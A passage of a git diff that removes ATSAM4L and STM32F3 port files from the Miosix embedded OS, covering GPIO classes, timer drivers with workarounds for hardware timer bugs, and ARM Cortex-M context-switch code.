: unsigned char -{ - OFF = 0b00000, ///Disconnected - INPUT = 0b10000, ///Floating Input - INPUT_PULL_UP = 0b10100, ///Pullup Input - INPUT_PULL_DOWN = 0b11000, ///Pulldown Input - OUTPUT = 0b10001, ///Push Pull Output - ALTERNATE = 0b10010, ///Alternate function - - //These may not not work with all peripherals, as section 23.6.2.1 says that - //some peripherals may override pullup/down/schmitt trigger control - ALTERNATE_PULL_UP = 0b10110, ///Alternate function Pullup - ALTERNATE_PULL_DOWN = 0b11010, ///Alternate function Pulldown -}; - -/** - * Base class to implement non template-dependent functions that, if inlined, - * would significantly increase code size - */ -class GpioBase -{ -protected: - static void modeImpl(GpioPort *p, unsigned char n, Mode m); - static void afImpl(GpioPort *p, unsigned char n, char af); - static void strengthImpl(GpioPort *p, unsigned char n, unsigned char s); - static void slewImpl(GpioPort *p, unsigned char n, bool s); -}; - -/** - * This class allows to easiliy pass a Gpio as a parameter to a function. - * Accessing a GPIO through this class is slower than with just the Gpio, - * but is a convenient alternative in some cases. Also, an instance of this - * class occupies a few bytes of memory, unlike the Gpio class. - */ -class GpioPin : private GpioBase -{ -public: - /** - * \internal - * Constructor - * \param p GPIOA_BASE, GPIOB_BASE, ... - * \param n which pin (0 to 31) - */ - GpioPin(unsigned int p, unsigned char n) - : p(reinterpret_cast(p)), n(n) {} - - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode - */ - void mode(Mode m) - { - modeImpl(p,n,m); - } - - /** - * Set the GPIO drive strength - * \param strength GPIO drive strength, from 0 to 3, with 0 being the lowest - * and 3 being the highest. - */ - void driveStrength(unsigned char s) - { - strengthImpl(p,n,s); - } - - /** - * Set the GPIO slew rate slew rate control - * \param s true to enable slew rate control false to turn it off - */ - void slewRateControl(bool s) - { - slewImpl(p,n,s); - } - - /** - * Select which of the many alternate functions is to be connected with the - * GPIO pin. - * \param af alternate function, you can pass either a number in the range - * 0 to 7, or a character in the range 'a' to 'h' or 'A' to 'H'. 0 is the - * same as 'a' or 'A', and so on. - */ - void alternateFunction(char af) - { - afImpl(p,n,af); - } - - /** - * Set the pin to 1, if it is an output - */ - void high() - { - p->GPIO_OVRS=1<GPIO_OVRC=1<GPIO_OVRT=1<GPIO_PVR & 1<(p); } - - /** - * \return the pin number, from 0 to 31 - */ - unsigned char getNumber() const { return n; } - -private: - GpioPort *p; //Pointer to the port - unsigned char n; //Number of the GPIO within the port -}; - -/** - * Gpio template class - * \param P GPIOA_BASE, GPIOB_BASE, ... - * \param N which pin (0 to 31) - * The intended use is to make a typedef to this class with a meaningful name. - * \code - * typedef Gpio green_led; - * green_led::mode(Mode::OUTPUT); - * green_led::high();//Turn on LED - * \endcode - */ -template -class Gpio : private GpioBase -{ -public: - Gpio() = delete; //Disallow creating instances - - /** - * Set the GPIO to the desired mode (INPUT, OUTPUT, ...) - * \param m enum Mode - */ - static void mode(Mode m) - { - modeImpl(reinterpret_cast(P),N,m); - } - - /** - * Set the GPIO drive strength - * \param s GPIO drive strength, from 0 to 3, with 0 being the lowest and - * 3 being the highest. - */ - static void driveStrength(unsigned char s) - { - strengthImpl(reinterpret_cast(P),N,s); - } - - /** - * Set the GPIO slew rate slew rate control - * \param s true to enable slew rate control false to turn it off - */ - static void slewRateControl(bool s) - { - slewImpl(reinterpret_cast(P),N,s); - } - - /** - * Select which of the many alternate functions is to be connected with the - * GPIO pin. - * \param af alternate function, you can pass either a number in the range - * 0 to 7, or a character in the range 'a' to 'h' or 'A' to 'H'. 0 is the - * same as 'a' or 'A', and so on. - */ - static void alternateFunction(char af) - { - afImpl(reinterpret_cast(P),N,af); - } - - /** - * Set the pin to 1, if it is an output - */ - static void high() - { - reinterpret_cast(P)->GPIO_OVRS=1<(P)->GPIO_OVRC=1<(P)->GPIO_OVRT=1<(P)->GPIO_PVR & 1< * - ***************************************************************************/ - -#include "config/miosix_settings.h" -#include "kernel/kernel.h" -#include "interfaces/os_timer.h" -#include "interfaces/arch_registers.h" -#include "interfaces/delays.h" -#include "kernel/logging.h" - -/* - * Long story short, the ATsam4l has two kind of timers, the TC and AST and both - * suck in their unique kind of way. - * - * The TC is the only timer I've ever seen whose timer counter is read-only and - * when the timer is started can only start from zero. So we need a software - * workaround to advance the timer to account for deep sleep periods. Also, its - * interrupt flags are cleared by just reading the status register, which to - * implement the pending bit trick required to reimplement in software the - * persistance of interrupt flags that any sane peripheral would do in hardware. - * - * The AST would in theory be cool, as it is an RTC and thus it keeps the time - * also while in deep sleep and can even wake the CPU up, but the RTC clock - * domain crossing needs to be handled explicitly in software and requires to - * poll for entire RTC clock cycles slowing down context switches considerably. - * Moreover, it was found that likely due a clock domain crossing issue in - * hardware the overflow flag is not in sync with the timer counter! It is - * asserted 1.5 clock cycles before the observable timer counter rolls over - * from 0xffffffff to 0x00000000. Yes, it is asserted in the middle of the time - * when the counter reads 0xfffffffe! This messes up the pending bit trick and - * without a workaround would cause a call to getTime() in the wrong moment to - * return a time 0x100000000 / 16384 = 72 hours in the future! This has been - * observed to stall the entire OS context switches for 72 hours before the - * workaound was applied. - * - * I guess Atmel really doesn't know how to design a timer that works.... - */ - -#ifndef WITH_RTC_AS_OS_TIMER - -namespace miosix { - -/* - * Apparently, the TC1->TC_CHANNEL[0].TC_SR bits are cleared by... reading - * the register. Since for the pending bit trick logic we need these - * interrupt flags to be less volatile than that, we keep a copy of them - * here. At least I've tested and clearing this flag outside interrupt context - * doesn't unset the interrupt form being pending, which is a good thing. - */ -static unsigned int sr=0; - -/* - * The timer counter TC1->TC_CHANNEL[0].TC_CV is read-only! So in order to set - * the timer value we need to keep it in a software variable. - */ -static unsigned short counterAdd=0; - -class ATSAM_TC1_Timer : public TimerAdapter -{ -public: - static inline unsigned int IRQgetTimerCounter() - { - return TC1->TC_CHANNEL[0].TC_CV+counterAdd; - } - static inline void IRQsetTimerCounter(unsigned int v) { counterAdd=v; } - - static inline unsigned int IRQgetTimerMatchReg() - { - return TC1->TC_CHANNEL[0].TC_RC+counterAdd; - } - static inline void IRQsetTimerMatchReg(unsigned int v) - { - TC1->TC_CHANNEL[0].TC_RC=v-counterAdd; - } - - static inline bool IRQgetOverflowFlag() - { - sr |= TC1->TC_CHANNEL[0].TC_SR; - return sr & TC_SR_COVFS; - } - static inline void IRQclearOverflowFlag() - { - sr &= ~TC_SR_COVFS; - } - - static inline bool IRQgetMatchFlag() - { - sr |= TC1->TC_CHANNEL[0].TC_SR; - return sr & TC_SR_CPCS; - } - static inline void IRQclearMatchFlag() - { - sr &= ~TC_SR_CPCS; - } - - static inline void IRQforcePendingIrq() { NVIC_SetPendingIRQ(TC10_IRQn); } - - static inline void IRQstopTimer() { TC1->TC_CHANNEL[0].TC_CCR=TC_CCR_CLKDIS; } - static inline void IRQstartTimer() - { - //NOTE: This will start the timer but also reset it, and this is desired - TC1->TC_CHANNEL[0].TC_CCR=TC_CCR_CLKEN | TC_CCR_SWTRG; - //For a short while after starting it, the previous value is visible - delayUs(1); - } - - /* - * A 16bit timers overflows too frequently if clocked at the maximum speed, - * and this is bad both because it nullifies the gains of a tickless kernel - * and because if interrupts are disabled for an entire timer period the - * OS loses the knowledge of time. For this reason, we set the timer clock - * to a lower value using the prescaler. - */ - static const int timerFrequency=1000000; //1MHz - - static unsigned int IRQTimerFrequency() - { - return timerFrequency; - } - - static void IRQinitTimer() - { - int timerInputFreq = SystemCoreClock / 2; - - //Handle the case when the prescribed timer frequency is not achievable. - //For now, we just enter an infinite loop so if someone selects an - //impossible frequency it won't go unnoticed during testing - if(timerInputFreq % timerFrequency) - { - IRQbootlog("Frequency error\r\n"); - for(;;) ; - } - - //Configure GCLK8 as prescaler for TC1 - SCIF->SCIF_GCCTRL[8].SCIF_GCCTRL = SCIF_GCCTRL_DIV((timerInputFreq/timerFrequency)-1) - | SCIF_GCCTRL_OSCSEL(getSelectedOscillator()) - | SCIF_GCCTRL_DIVEN - | SCIF_GCCTRL_CEN; - - auto tempPbamask = PM->PM_PBAMASK | PM_PBAMASK_TC1; - PM->PM_UNLOCK = PM_UNLOCK_KEY(0xaa) | PM_UNLOCK_ADDR(PM_PBAMASK_OFFSET); - PM->PM_PBAMASK = tempPbamask; //Enable clock gating to TC1 - - TC1->TC_CHANNEL[0].TC_CMR = TC_CMR_WAVE | TC_CMR_CAPTURE_TCCLKS(0); //CLOCK=GCLK8 - TC1->TC_CHANNEL[0].TC_IER = TC_IER_CPCS | TC_IER_COVFS; - - NVIC_SetPriority(TC10_IRQn,3); - NVIC_EnableIRQ(TC10_IRQn); - } -}; - -static ATSAM_TC1_Timer timer; -DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION(timer); -} //namespace miosix - -void __attribute__((naked)) TC10_Handler() -{ - saveContext(); - asm volatile("bl _Z11osTimerImplv"); - restoreContext(); -} - -void __attribute__((used)) osTimerImpl() -{ - miosix::timer.IRQhandler(); -} - -#else //WITH_RTC_AS_OS_TIMER - -namespace miosix { - -// quirkAdvance = 2. One is needed as setting the match register for a tick -// after the current one does not trigger an interrupt, Another one is due to -// the +1 in IRQgetTimerCounter() to account for the pending bit hardware bug -class ATSAM_AST_Timer : public TimerAdapter -{ -public: - static inline unsigned int IRQgetTimerCounter() - { - while(AST->AST_SR & AST_SR_BUSY) ; - // Workaround for hardware bug! The pending bit is asserted earlier than - // the observable counter rollover, actually in the middle of the timer - // counting 0xfffffffe. Solution: return counter value +1 so 0xffffffff - // becomes 0x0 which makes it in sync, if reading 0xfffffffe wait till - // next cycle as we can't predict what the pending bit would be - for(;;) - { - auto result=AST->AST_CV; - if(result==0xfffffffe) continue; - return result+1; - } - } - static inline void IRQsetTimerCounter(unsigned int v) - { - while(AST->AST_SR & AST_SR_BUSY) ; - AST->AST_CV=v-1; - } - - static inline unsigned int IRQgetTimerMatchReg() - { - while(AST->AST_SR & AST_SR_BUSY) ; - return AST->AST_AR0; - } - static inline void IRQsetTimerMatchReg(unsigned int v) - { - while(AST->AST_SR & AST_SR_BUSY) ; - AST->AST_AR0=v; - } - - static inline bool IRQgetOverflowFlag() { return AST->AST_SR & AST_SR_OVF; } - static inline void IRQclearOverflowFlag() - { - while(AST->AST_SR & AST_SR_BUSY) ; - AST->AST_SCR=AST_SCR_OVF; - } - - static inline bool IRQgetMatchFlag() { return AST->AST_SR & AST_SR_ALARM0; } - static inline void IRQclearMatchFlag() - { - while(AST->AST_SR & AST_SR_BUSY) ; - AST->AST_SCR=AST_SCR_ALARM0; - } - - static inline void IRQforcePendingIrq() { NVIC_SetPendingIRQ(AST_ALARM_IRQn); } - - static inline void IRQstopTimer() - { - while(AST->AST_SR & AST_SR_BUSY) ; - AST->AST_CR &= ~AST_CR_EN; - } - static inline void IRQstartTimer() - { - while(AST->AST_SR & AST_SR_BUSY) ; - AST->AST_CR |= AST_CR_EN; - } - - static unsigned int IRQTimerFrequency() { return 16384; } - - static void IRQinitTimer() - { - start32kHzOscillator(); - - //AST clock gating already enabled at boot - PDBG|=PDBG_AST; //Stop AST during debugging - - //Select 32kHz clock - AST->AST_CLOCK=AST_CLOCK_CSSEL_32KHZCLK; - while(AST->AST_SR & AST_SR_CLKBUSY) ; - AST->AST_CLOCK |= AST_CLOCK_CEN; - while(AST->AST_SR & AST_SR_CLKBUSY) ; - - //Counter mode, not started, clear only on overflow, fastest prescaler - AST->AST_CR=AST_CR_PSEL(0); - - //Initialize conter and match register - while(AST->AST_SR & AST_SR_BUSY) ; - AST->AST_CV=0; - while(AST->AST_SR & AST_SR_BUSY) ; - AST->AST_SCR=0xffffffff; - - //Interrupt on overflow or match - AST->AST_IER=AST_IER_ALARM0 | AST_IER_OVF; - //Wakeup from deep sleep on overflow or match - while(AST->AST_SR & AST_SR_BUSY) ; - AST->AST_WER=AST_WER_ALARM0 | AST_WER_OVF; - - //High priority for AST (Max=0, min=15) - NVIC_SetPriority(AST_ALARM_IRQn,3); - NVIC_EnableIRQ(AST_ALARM_IRQn); - NVIC_SetPriority(AST_OVF_IRQn,3); - NVIC_EnableIRQ(AST_OVF_IRQn); - } -}; - -static ATSAM_AST_Timer timer; -DEFAULT_OS_TIMER_INTERFACE_IMPLMENTATION(timer); - -/* -// Test code for checking the presence of the race condition. Call from main. -// Set AST->AST_CV=0xffff0000; in timer init not to wait 72 hours till test end. -void test() -{ - FastInterruptDisableLock dLock; - long long lastgood=0; - for(;;) - { - auto current=timer.IRQgetTimeTick(); - if(current>0x180000000LL) - { - FastInterruptEnableLock eLock(dLock); - iprintf("Test failed fail=0x%llx lastgood=0x%llx\n",current,lastgood); - } else if(current==0x100001000LL) IRQerrorLog("Test end\r\n"); - lastgood=current; - } -}*/ -} //namespace miosix - -void __attribute__((naked)) AST_ALARM_Handler() -{ - saveContext(); - asm volatile("bl _Z11osTimerImplv"); - restoreContext(); -} - -void __attribute__((naked)) AST_OVF_Handler() -{ - saveContext(); - asm volatile("bl _Z11osTimerImplv"); - restoreContext(); -} - -void __attribute__((used)) osTimerImpl() -{ - miosix::timer.IRQhandler(); -} - -#endif //WITH_RTC_AS_OS_TIMER diff --git a/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/portability.cpp deleted file mode 100644 index 1f6ce9b25..000000000 --- a/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,258 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -extern void (* const __Vectors[])(); - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - //NOTE: Cortex M3 differs from Cortex M4/M7 as ctxsave does not contain lr - //NOTE: Although the atsam4l core is a Cortex M4, it does not have an FPU, - //so we use the ctxsave layout of a Cortex M3 -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //NOTE: the SAM-BA bootloader does not relocate the vector table offset, - //so any interrupt would call the SAM-BA IRQ handler, not the application - //ones. - SCB->VTOR = reinterpret_cast(&__Vectors); - - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - miosix::IRQenableMPUatBoot(); - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/portability_impl.h deleted file mode 100644 index 8e45abd43..000000000 --- a/miosix/arch/cortexM4_atsam4l/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,196 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2020 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile("stmdb sp!, {lr} \n\t" /*save lr on MAIN stack*/ \ - "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ - "ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "stmia r0, {r1,r4-r11} \n\t" /*save PROCESS sp + r4-r11*/ \ - "dmb \n\t" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile("ldr r0, =ctxsave \n\t" /*get current context*/ \ - "ldr r0, [r0] \n\t" \ - "ldmia r0, {r1,r4-r11} \n\t" /*restore r4-r11 + r1=psp*/ \ - "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ - "ldmia sp!, {pc} \n\t" /*return*/ \ - ); - -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall parameter mapping - * Syscall id is r3, saved at registers[3] - * - * Parameter 1 is r0, saved at registers[0] - * Parameter 2 is r1, saved at registers[1] - * Parameter 3 is r2, saved at registers[2] - * Parameter 4 is r12, saved at registers[4] - */ -constexpr unsigned int armSyscallMapping[]={0,1,2,4}; -} - -// -// class SyscallParameters -// - -inline SyscallParameters::SyscallParameters(unsigned int *context) : - registers(reinterpret_cast(context[0])) {} - -inline int SyscallParameters::getSyscallId() const -{ - return registers[3]; -} - -inline unsigned int SyscallParameters::getParameter(unsigned int index) const -{ - assert(index<4); - return registers[armSyscallMapping[index]]; -} - -inline void SyscallParameters::setParameter(unsigned int index, unsigned int value) -{ - assert(index<4); - registers[armSyscallMapping[index]]=value; -} - -inline void portableSwitchToUserspace() -{ - asm volatile("movs r3, #1\n\t" - "svc 0" - :::"r3"); -} - -#endif //WITH_PROCESSES - -/** - * \} - */ - -} //namespace miosix_private diff --git a/miosix/arch/cortexM4_stm32f3/common/arch_settings.h b/miosix/arch/cortexM4_stm32f3/common/arch_settings.h deleted file mode 100644 index 01235ec6f..000000000 --- a/miosix/arch/cortexM4_stm32f3/common/arch_settings.h +++ /dev/null @@ -1,61 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal size of vector to store registers during ctx switch -/// ((10+16)*4=104Bytes). Only sp, r4-r11, EXC_RETURN and s16-s31 are saved -/// here, since r0-r3,r12,lr,pc,xPSR, old sp and s0-s15,fpscr are saved by -/// hardware on the process stack on Cortex M4F CPUs. EXC_RETURN, or the lr, -/// value to use to return from the exception is necessary to know if the -/// thread has used fp regs, as an extension specific to Cortex-M4F CPUs. -const unsigned char CTXSAVE_SIZE=10+16; - -/// \internal some architectures save part of the context on their stack. -/// ((8+17)*4=100Bytes). This constant is used to increase the stack size by -/// the size of context save frame. If zero, this architecture does not save -/// anything on stack during context save. Size is in bytes, not words. -/// 8 registers=r0-r3,r12,lr,pc,xPSR -/// 17 registers=s0-s15,fpscr -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=(8+17)*4; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f3/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM4_stm32f3/common/interfaces-impl/delays.cpp deleted file mode 100644 index fc77be976..000000000 --- a/miosix/arch/cortexM4_stm32f3/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,146 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the 